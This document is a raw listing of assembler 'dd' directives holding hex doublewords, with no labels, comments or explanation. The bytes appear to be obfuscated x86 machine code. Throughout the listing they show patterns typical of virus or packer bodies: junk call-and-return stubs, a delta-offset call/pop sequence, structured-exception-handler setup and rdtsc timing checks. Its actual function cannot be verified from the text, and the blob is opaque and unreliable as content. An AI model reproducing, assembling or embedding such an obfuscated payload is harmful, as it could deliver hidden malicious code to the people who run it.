dd 81042454h, 15042444h, 42000000h, 1186C352h, 10E8h, 4061F300h
dd 0B59FDEC5h, 0C66AC7FDh, 0A8B807C8h, 5FDA8B6Dh, 28B0F52h
dd 57000000h, 95FF5B5Fh, 6070D69h, 2A818589h, 8AB90607h
dd 6600000Fh, 0E183FA8Bh, 0A9BD8BFCh, 0FC060705h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0DC35343h, 0B8D745h
dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 17042444h, 46000000h, 1B6EC356h, 85298256h, 60712A5h
dd 0BAh, 11E85100h, 0FC000000h, 0AE0CA881h, 4D388473h
dd 0FA5C0548h, 96802BE6h, 3A4375BBh, 0AD5F5B22h, 0E8D1C233h
dd 0E983D003h, 0B3F47504h, 55006AEAh, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 386E4890h
dd 0FF3D9687h, 880DCBA7h, 0FC000000h, 1AD9958Bh, 6A0607h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 180F2CC3h, 0C77A8CA2h, 8A0FC0D1h, 6, 75D8D89h, 8D8B0607h
dd 607101Dh, 23919589h, 8B500607h, 3188BC2h, 8B188BC1h
dd 3E8D1C1h, 58188BC2h, 95C38166h, 0F381660Ah, 6ABE8Eh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 43B89C3h, 0A3A83E16h, 0BD8BC2CDh, 60714F5h, 0E29BD83h
dd 0F000607h, 9984h, 0AD9D8900h, 0B8060729h, 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 42C35545h
dd 0E5063731h, 55F710h, 0FE8h, 0EDE7F200h, 0B5D503EAh
dd 0B4CA603Bh, 893FC5C3h, 5FF88B66h, 4B9B8D8Dh, 6A0607h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 9EF7D3C3h, 822F22A2h, 0FFFEBF0Fh, 51006AE1h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0FD6E2713h
dd 549EBFB2h, 0BD831882h, 6073305h, 0E7840F00h, 8B000003h
dd 723219Dh, 0C5BD8B06h, 83060711h, 73305BDh, 840F0106h
dd 3E9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ah, 0D0C35040h, 22550960h, 0BD839658h, 6073305h, 84860F03h
dd 6A000003h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 16042444h, 41000000h, 0FE9DC351h, 7AB46013h, 13B9958Bh
dd 0E8610607h, 7, 2DB74BAh, 0F452F7Bh, 688h, 72F78100h
dd 5F234D08h, 29BD0360h, 6606070Dh, 6AD98Ch, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 5ECF9CC3h
dd 1A9559D3h, 8A756D6Bh, 4E180DAh, 3A6BE381h, 0C90A1216h
dd 113840Fh, 9D8B0000h, 6072345h, 2A1D858Bh, 95890607h
dd 6072A5Dh, 1AFD8533h, 6A0607h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 190424h, 50400000h, 33870BC3h, 50539E36h
dd 4212BF66h, 6A240489h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 18042444h, 41000000h, 4B52C351h, 0BB7E5CA9h
dd 78F2D0E0h, 0B70F006Ah, 0EDBD8BDEh, 68060722h, 8144E2B9h
dd 0BE953h, 0EBF70000h, 0B9D7381Eh, 25150DEEh, 4815B53h
dd 0DA214624h, 56006A7Eh, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1D04h, 0C3564600h, 0E88A7D68h, 0C7FC5AA7h
dd 0FFF8F633h, 709F995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1A04h, 0C3574700h, 0C007E045h, 898A8BBDh
dd 0AADDF85h, 0BD952906h, 0E9060702h, 16Bh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0BEC35646h, 294B37DCh
dd 707C98Dh, 0D7858B06h, 6A060AADh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0EDD2C351h
dd 0BE252EE7h, 8D89608Ch, 60729A1h, 5850Fh, 0EB90000h
dd 611E6BF1h, 1800C7h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 170424h, 56460000h, 59B35C3h, 8B67B7CDh
dd 0AADDBB5h, 70F38106h, 8B4F1DF7h, 72BCD85h, 0D19BB06h
dd 6895893h, 0E8D8D89h, 858B0607h, 6072A1Dh, 2805B589h
dd 46890607h, 0DE904h, 3900000h, 0B1277CFBh, 852A6553h
dd 50637CD7h, 89F88B66h, 0BE92434h, 86000000h, 93A34624h
dd 619E5414h, 0B5FF5C85h, 60AADD7h, 4AC78166h, 0D7A068A3h
dd 525069CAh, 0FDE8B66h, 2870F31h, 8B000000h, 81585ADEh
dd 0D45F2434h, 6A69D5h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 3F2EE1C3h, 0DBB27E38h, 0DF858DD0h
dd 0F8060AADh, 0BB665390h, 505BFA1Ch, 6A90D98Bh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
dd 8B35C351h, 44AD1982h, 2A45BD33h, 95FF0607h, 60709F9h
dd 615BFC53h, 20E59D89h, 11E90607h, 3D000000h, 7CB7A0ADh
dd 62B01C43h, 0BA5A5DCCh, 521991Ch, 330585C7h, 30607h
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
dd 57470000h, 0B3E298C3h, 7A261E71h, 0FA90CF9h, 68Bh, 0F58D3100h
dd 8B060732h, 0DFBD83FAh, 60AADh, 41840Fh, 0A1BF0000h
dd 0E964256Fh, 52h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 18h, 2AC35242h, 641EFF9Eh, 12E9h, 50E32E00h
dd 0F307194Ch, 5EBDA5FDh, 2A9F8DF1h, 50694517h, 110C30h
dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h
dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h
dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 9589C08Bh
dd 6070F0Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Dh, 0C7C35141h, 7D4815FEh, 0FAB15CAAh, 0A99D8919h
dd 8306070Ch, 73305BDh, 850F0306h, 463h, 29E9B501h, 0BD830607h
dd 60AADDFh, 50840F00h, 8B000004h, 726499Dh, 9E806h, 6F7A0000h
dd 4876AD63h, 895C4D04h, 72A259Dh, 0B5FF5F06h, 60AADDFh
dd 7BBF6656h, 95FF5BF1h, 6072129h, 0CE9h, 0FC967400h, 512DDEE3h
dd 84AFBDBCh, 0D3B58BC4h, 6A060AADh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0A25BC357h
dd 0C7FBB70Fh, 1000106h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 0C84BF355h, 90EA292h
dd 719A585h, 0DB816606h, 0E8508E49h, 0Bh, 0BDF6AA4Fh, 0AAEEEC51h
dd 667B2BAFh, 895FF98Bh, 860F2434h, 0
dd 0ADDFB5FFh, 8E9060Ah, 8000000h, 0EA4E5EB0h, 0FF119566h
dd 7025195h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1504h, 0C3514100h, 850FC47Fh, 6, 4F92E781h, 8D89249Ah
dd 60710A9h, 0ADD3B58Bh, 9E9060Ah, 0C6000000h, 0F8827802h
dd 0F8F08174h, 12A1858Bh, 6A0607h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 96026CC3h, 0B625F682h
dd 8167697Fh, 5E8F6FF3h, 0C486891Ah, 66000000h, 958BFB8Bh
dd 6071AD9h, 83D88B66h, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 140424h, 57470000h, 850F67C3h, 6, 1DD19589h
dd 50890607h, 53006A20h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1D04h, 0C3534300h, 4010180Dh, 0E5ACCF5Ah, 0BF0F809Eh
dd 70858DFEh, 6A060AC1h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 3D59C353h, 0A469AAD8h
dd 0EF5A48BFh, 0B8868915h, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 179AC357h
dd 0FA885B5h, 681h, 558D0100h, 6A060721h, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 0A9AA98E5h, 398589DDh, 0F06072Eh, 0C87h, 6830F00h, 0F000000h
dd 85h, 0DA8B6600h, 0ADDFB5FFh, 9D8B060Ah, 6072F99h, 79195FFh
dd 0FE90607h, 55000000h, 0D3FCE655h, 41F79C57h, 0FAB024E8h
dd 0E9965D12h, 14h, 0FC23D702h, 0D3D87CFEh, 483E3613h
dd 6E6199DCh, 37349FD7h, 0B7525050h, 5A310FB5h, 6A9658h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 8BBF10C3h, 72E39BDh, 0DFB5FF06h, 6A060AADh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
dd 0DD4CC352h, 1DB912Bh, 71F1D8Dh, 995FF06h, 6A06072Dh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h
dd 43000000h, 0E259C353h, 0E936A2EAh, 10h, 0F38F768Ah
dd 7861BBE5h, 8FC2C81Bh, 92EAF28Fh, 1AF9B529h, 0BD830607h
dd 60714C1h, 12840F00h, 96000000h, 0DD44F4BBh, 8DBB5048h
dd 9609043Bh, 0ADE38166h, 0DFB5FF03h, 89060AADh, 707059Dh
dd 9595FF06h, 6A06071Fh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 9358C353h, 0EB8ABE7Bh
dd 68C0Fh, 95290000h, 6072219h, 0ADDFB5FFh, 6A060Ah, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 0F4A6F2C3h, 0D0CE97F6h, 8B3EC430h, 732F99Dh, 0C0BF6606h
dd 0C195FFC2h, 0E8060702h, 0Eh, 92881C7Bh, 0D49D6662h
dd 0E15EED33h, 0EE9C217h, 6B000000h, 767A3BAh, 7C6BAB21h
dd 1B886B37h, 0BD835F38h, 6072865h, 47840F02h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h
dd 41000000h, 0AEB6C351h, 0F2C95D75h, 41B58954h, 0F06071Eh
dd 0FA8BDBBFh, 0E69858Bh, 0BB660607h, 0BD8B93F9h, 6071EF9h
dd 660000C6h, 804387BFh, 85C710F7h, 6072A51h, 0
dd 0D820Fh, 8E90000h, 83000000h, 0E6DAD80Dh, 0E9FE940Bh
dd 0FFFFF34Bh, 6AC18Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 0E09B0AC3h, 6039D93Dh, 1B3AF0BFh
dd 9B58B68h, 61060710h, 18B1858Dh, 6A0607h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 150424h, 52420000h, 90E964C3h
dd 6A9050h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 0E41783C3h, 29AE18CBh, 7288585h, 0A98D2906h
dd 6A060728h, 73E38100h, 6A22DBD0h, 0E5B58900h, 8D060711h
dd 0BDC2185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1B04h, 0C3514100h, 9E7BB38Ch, 3236C5Eh, 49DBD89h, 0C0830607h
dd 39BFFC05h, 90717CBFh, 91BB5250h, 0F52C2DDh, 5850F31h
dd 0BF000000h, 46468319h, 6650585Ah, 90570FBFh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 91C35747h, 9BB0EB81h
dd 0C411CCF6h, 1D9D0349h, 6A060705h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 868EDDC1h
dd 6A4C0Ch, 0AFA1C781h, 9D8B7B99h, 607218Dh, 1E3D95FFh
dd 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
dd 55450000h, 204444C3h, 0C6092352h, 0DCE1FBBFh, 0D9D037Eh
dd 8D060728h, 0A93D58Dh, 0DF8B6606h, 0BF0FD1FFh, 0BDBD83FBh
dd 1060719h, 6A850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 160424h, 50400000h, 0B91FC9C3h, 485BD2Bh
dd 26A0607h, 0B7D8D89h, 50F90607h, 0DF8B5250h, 0DC8A310Fh
dd 489585Ah, 0F0C0BB24h, 95FF0001h, 6070791h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 66C35141h, 0EA3CA96Bh
dd 14ABECBCh, 0CE3E9h, 0E800h, 815D0000h, 0BDC2BEDh, 6AF806h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 75A107C3h, 2EE78106h, 8D297D69h, 0A843F85h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 9E94837h, 42000000h, 33FFF85h, 393D80D8h, 89DE8B50h
dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
dd 50400000h, 4C171BC3h, 31BE10B6h, 59D095Bh, 64060726h
dd 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 140424h, 52420000h, 9D03B2C3h, 607291Dh, 258964h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h
dd 43000000h, 0A7BFC353h, 10E9h, 9EC6A800h, 6781F523h
dd 96ECB945h, 3BD8D4C4h, 5985FFE5h, 6A06072Fh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
dd 868BC353h, 2E359D8Bh, 8D890607h, 6072C55h, 0BF0FFF6Ah
dd 0C5B5FFDAh, 6A060707h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 400FC357h, 43EEF723h
dd 8995FF96h, 0E906072Bh, 122h, 0E7A39DBBh, 100B021h, 728D18Dh
dd 6670E606h, 71E4FA8Bh, 0AE9BD8Bh, 613C0607h, 100830Fh
dd 0DA8B0000h, 66C8B60Fh, 0BAC119BFh, 6, 0B859D8Bh, 0C18B0607h
dd 2890Fh, 0DD8A0000h, 19BD8B57h, 5F06072Bh, 8904E8C1h
dd 71EF98Dh, 0E2F76606h, 89C82BF8h, 72D7185h, 51D18B06h
dd 45958960h, 8B06070Eh, 718F58Dh, 0E95F6106h, 0AEh, 23FB8B66h
dd 725FD9Dh, 4858B06h, 60000000h, 0FC3B70Fh, 8361D1BFh
dd 0F38007C0h, 959D3378h, 8306072Ah, 9D8B00C0h, 6071A4Dh
dd 0F99D8Bh, 0D03B0607h, 1B830Fh, 6FE90000h, 0E8000000h
dd 10h, 9D1AEFE4h, 7F7F1C60h, 0FC9F0B8h, 17BF15DFh, 0FF8D8B5Bh
dd 0E9FFFFFFh, 12h, 0F9B9D8B2h, 0CF2B8381h, 0D0EFFAF7h
dd 0E00C7A2Bh, 0E183D784h, 33840F01h, 0E9000000h, 14h
dd 1803FFF9h, 0B29F6536h, 0B9EF9932h, 6E4B9916h, 0A56B399h
dd 0FFFFA583h, 8BFEFFFFh, 704A5BDh, 4958906h, 8B000000h
dd 0E9D8h, 0B58D0000h, 60B5C80h, 0E5014DBBh, 89006A38h
dd 704E98Dh, 2830F06h, 8B000000h, 6995FFD8h, 6A06070Dh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h
dd 45000000h, 9BCEC355h, 0E9618524h, 0Ch, 3ED6BEAFh, 81564868h
dd 76340042h, 107EB9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1D04h, 0C3524200h, 0A18564C3h, 0C61ABE8Bh
dd 0BD0B8678h, 60720FDh, 83FE8B66h, 0EE9FCE1h, 22000000h
dd 0B3F3DDA4h, 0A16C4490h, 1A9C8C6Ch, 6AFCCCh, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 8B19C8C3h, 2BDC7256h, 0BD316B16h, 6070FE1h, 0B8h, 0DBD8B00h
dd 0BA06071Bh, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 54C35242h
dd 340F9830h, 0B70F7927h, 0C233ADFBh, 0D003E8D1h, 7504E983h
dd 10E9F4h, 6DA20000h, 0F032F306h, 55D9A1C3h, 77C908F2h
dd 6AE577h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
dd 57470000h, 0DEE1CC3h, 88h, 25DD9D89h, 0B70F0607h, 0D9958BF8h
dd 0BF06071Ah, 4CCE7317h, 101D8D8Bh, 0BF0F0607h, 0C28B50F9h
dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 1A0BC357h, 0E9510C01h, 14h, 4BAAE299h, 8DA9FAE1h, 985FFAC7h
dd 0BADA3444h, 0F08DC89Ch, 0E29BD83h, 0F000607h, 6084h
dd 59D8B00h, 0B806072Dh, 0
dd 8D8DF88Bh, 6074B9Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 19h, 0AFC35343h, 80E25FC4h, 6AE1FFE7h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
dd 640EC351h, 7D18D026h, 29DAB70Fh, 709B995h, 5BD8306h
dd 60733h, 42A840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 150424h, 50400000h, 8B49E4C3h, 705399Dh
dd 0BDBD8906h, 8306070Fh, 73305BDh, 840F0106h, 40Fh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0BDC35141h, 0B7F8C154h
dd 5BD8330h, 3060733h, 3AB860Fh, 60F80000h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0C3C35646h, 33DF3DB6h
dd 0E9D0BC8Eh, 9, 0B373EB5Ah, 0A59B9510h, 0D98C660Bh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0B7C35343h, 0E95B302Dh
dd 2DB52965h, 80060720h, 9D8904E1h, 6070549h, 840FC90Ah
dd 16Eh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Bh, 6EC35040h, 5ADD3561h, 0E9422E3Ah, 12h, 0B0716DEFh
dd 21431E1h, 0C8DC49AEh, 901AD84Dh, 0BD8B0585h, 607203Dh
dd 2A1D858Bh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 7AF27FC3h, 1197FFEDh, 4DB5897Dh
dd 8B060718h, 718559Dh, 0FD853306h, 8B06071Ah, 7141D9Dh
dd 8E0F5006h, 0
dd 66240489h, 9EFBE381h, 6A006Ah, 3E850h, 58200000h, 448958C3h
dd 44810424h, 160424h, 50400000h, 0C1AE4AC3h, 14118589h
dd 3E680607h, 0BF6C2228h, 0A735FCDh, 0C1243481h, 6A6C3D2Bh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 9F09C350h, 3DFB2236h, 0C151BF32h, 95FF2AC8h
dd 60709F9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 14h, 51C35242h, 1860Fh, 0B7F80000h, 0DF858981h, 6A060AADh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h
dd 40000000h, 8100C350h, 6BCAC6F7h, 178E914h, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
dd 8C7CB2C3h, 0B3B9F20Ch, 0F9525076h, 858B5F5Fh, 60AADD7h
dd 2AE18589h, 0C7F80607h, 1800h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0C885156Dh
dd 12E9h, 90214A00h, 0F7A73BE2h, 0F3265962h, 840072D2h
dd 338819F7h, 706E59Dh, 0DBB58B06h, 8B060AADh, 72C299Dh
dd 0F1F78106h, 8B4FD288h, 72BCD85h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0D78A12C9h
dd 7475FF9Bh, 81667D4Ch, 893F97D7h, 0AFEB8006h, 2A1D858Bh
dd 66600607h, 3FBEF78Bh, 613D9020h, 0E9044689h, 13h, 3E9A7157h
dd 0FDCC8244h, 6AAABB58h, 0D0361D6Bh, 500F61C8h, 28A0Fh
dd 0FA8B0000h, 8B243489h, 0D7B5FFF9h, 6A060AADh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
dd 0F9C1C352h, 3719D03h, 98680607h, 6045EE57h, 0FB8B6660h
dd 0B3615952h, 3481616Ah, 0F1546724h, 31BD8B45h, 8D06071Ah
dd 0AADDF85h, 0FB8B6606h, 24048950h, 0FF09DB80h, 709F995h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h
dd 0C3524200h, 2AD753BBh, 1553219Fh, 6A61BA4Bh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 8B15C357h, 72C31BDh, 585C706h, 3060733h, 8B000000h
dd 7188D9Dh, 0DFBD8306h, 60AADh, 3F840Fh, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 6171CCC3h, 0C13A4FD6h, 33E9h, 13E900h, 20D00000h, 206EA06Eh
dd 87E5475Ch, 0C7A55F7Dh, 0A1622F02h, 0C30508Ah, 11440011h
dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h
dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h
dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
dd 83110430h, 0E77504E9h, 0C08B00EBh, 0BD296060h, 6072D55h
dd 2D65B589h, 0E9610607h, 0Fh, 0D25DD467h, 1C018A8Ch, 59CD984Eh
dd 611AA3FFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Bh, 7EC35141h, 8A8AD75h, 894D58FFh, 71061BDh, 5BD8306h
dd 3060733h, 35A850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 190424h, 53430000h, 36B090C3h, 57B237CDh
dd 5E9h, 190FB300h, 895B1730h, 725ED85h, 0DFBD8306h, 60AADh
dd 31A840Fh, 0FB8B0000h, 41D9D8Bh, 0B5FF0607h, 60AADDFh
dd 2371BD8Bh, 95FF0607h, 6072129h, 2DBD8BF9h, 8B060714h
dd 0AADD3B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1D04h, 0C3564600h, 0DC24C466h, 22188F95h, 0FA8B5EFDh
dd 106C7h, 89600001h, 70BED9Dh, 0E5B58B06h, 6106072Fh
dd 24348950h, 19219589h, 0DF810607h, 45990E76h, 0ADDFB5FFh
dd 8166060Ah, 0FF37D0F7h, 7025195h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 524FFEA1h
dd 66914C68h, 0A206DB81h, 0ADD3B58Bh, 6A060Ah, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 6682AAC3h, 858BF88Bh, 60712A1h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Bh, 0CC35242h, 1DF14EA7h, 8B4FCCB4h
dd 71F6DBDh, 0C4868906h, 89000000h, 7220995h, 0D9958B06h
dd 6606071Ah, 0C283DA8Bh, 99958904h, 89060702h, 6A2050h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 67D933C3h, 858912ADh, 6072661h, 0C170858Dh, 0C781060Ah
dd 4FCF6A97h, 0B88689h, 0F98B0000h, 25DD8589h, 6A0607h
dd 0C800Fh, 850F0000h, 6, 2B59D8Bh, 0B5FF0607h, 60AADDFh
dd 79195FFh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1D0424h, 50400000h, 0ABBD20C3h, 0E9C3F8C7h, 668666DDh
dd 5046E2BBh, 0C171B3BBh, 2434892Ch, 1A598589h, 0B5FF0607h
dd 60AADDFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 15h, 67C35343h, 0E1BD89C5h, 0FF06070Dh, 72D0995h, 40BF6606h
dd 0AD33BF60h, 0BD832F12h, 60714C1h, 3F840F00h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h
dd 41000000h, 0FCE8C351h, 50605650h, 5A310F52h, 0CE858h
dd 13C60000h, 0AF07C51Bh, 0B278920Eh, 615ABE05h, 2434895Fh
dd 0B5FF55B7h, 60AADDFh, 0CE9h, 5805000h, 5644344h, 62FE0A70h
dd 9595FFDAh, 6A06071Fh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 17042444h, 43000000h, 3B68C353h, 0E8603DD5h
dd 0Fh, 427B77ADh, 0AD628342h, 0FE1D63DFh, 5A3DC193h, 0DFB5FF61h
dd 23060AADh, 71FA59Dh, 0BE906h, 80920000h, 0B6AA8F37h
dd 507D1E96h, 0C195FFC6h, 8B060702h, 7091D9Dh, 0DBC38106h
dd 8342D6ADh, 72865BDh, 840F0206h, 40h, 0C05BD09h, 840F0607h
dd 6, 1F0D9589h, 858B0607h, 6070E69h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 15h, 0A1C35141h, 5DBD8BA7h, 8B06072Fh
dd 0C6FAh, 2A5185C7h, 607h, 85890000h, 6070209h, 0FFF46BE9h
dd 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h
dd 0C3564600h, 29D72894h, 72A530D7h, 0BD8BC18Bh, 6070DC1h
dd 18B1858Dh, 9D890607h, 60705C1h, 52505750h, 5B51310Fh
dd 895B585Ah, 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 150424h, 50400000h, 0E98388C3h, 14h, 4154294h, 8C79CD38h
dd 820977FBh, 0C2CC99Fh, 8E38EF12h, 0B70F006Ah, 6A006AF9h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 297CC356h, 7D92055Eh, 0F577E3Ch, 8D5FDBB7h
dd 0BEB2485h, 6E806h, 0DFB50000h, 0B2AA33BBh, 8E52F781h
dd 835F37FAh, 509005C0h, 6A90505Bh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0F991C355h
dd 0BEF2FBE9h, 0C3800BA3h, 6ADA8A40h, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
dd 68CB9446h, 0A04F9C4Fh, 1A59D29h, 6A0607h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 1DC35040h, 0E998F548h
dd 0Fh, 0ABACB5CCh, 0B12FE754h, 8D9C552Bh, 0FF78059Ch
dd 71E3D95h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1A04h, 0C3554500h, 630E6EA6h, 89B21A42h, 718DD8Dh, 0D58D8D06h
dd 0E8060A93h, 0Eh, 38BA3E98h, 0B530C7B3h, 0B6B160A8h
dd 9D8BEA63h, 6070F29h, 6AD1FF5Bh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 2700C356h
dd 18B59589h, 0BD830607h, 60719BDh, 74850F01h, 0F000000h
dd 288h, 6AB2B300h, 50006A02h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 56B9852Ch, 309BD8Bh, 905B0607h
dd 6050A4B3h, 61F98B66h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1604h, 0C3534300h, 0E9490A8Dh, 11h, 1C9C4EF8h
dd 1961EADBh, 51652842h, 0FE220B24h, 9195FF4Ah, 0E9060707h
dd 0D4Bh, 0E8h, 0ED815D00h, 60BEB2Eh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 0CDC35343h, 0DB31BF66h, 0DAC78166h
dd 3F858DA6h, 6A060A84h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 3A3FC350h, 0EE9D1h
dd 22D0000h, 0F3C8B28Dh, 5D1B24Ch, 1183871Bh, 1EBBF50h
dd 4894F7Fh, 919D8924h, 64060700h, 35FFh, 85090000h, 6070DFDh
dd 258964h, 80000000h, 8D29D6CBh, 60711C9h, 2F5985FFh
dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
dd 57470000h, 1C084FC3h, 0BF668A87h, 0FF6A90B4h, 11E9h
dd 6190B600h, 43F29EC7h, 7E27A3FAh, 2E300A7h, 0B5FF4333h
dd 6072D31h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
